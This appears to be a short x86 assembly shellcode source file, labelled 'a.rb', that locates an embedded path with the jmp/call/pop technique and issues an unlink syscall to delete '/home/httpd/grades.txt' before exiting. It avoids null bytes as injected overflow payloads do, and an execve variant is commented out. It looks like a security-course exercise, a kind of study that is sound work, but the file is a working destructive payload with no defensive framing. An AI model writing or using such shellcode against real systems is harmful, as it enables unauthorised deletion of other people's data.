a.rb

#define STRING  "/home/httpd/grades.txt"
#define STRLEN  22
#define ARGV    (STRLEN+1)
#define ENVP    (ARGV+4)

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        movl    %esi,(ARGV)(%esi)       /* set up argv pointer to pathname */
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */
        movl    %eax,(ENVP)(%esi)       /* set up null envp */

        /* movb $SYS_execve,%al         /* syscall arg 1: syscall number */
        movb    $SYS_unlink,%al
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        leal    ARGV(%esi),%ecx         /* syscall arg 2: argv */
        leal    ENVP(%esi),%edx         /* syscall arg 3: envp */

        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING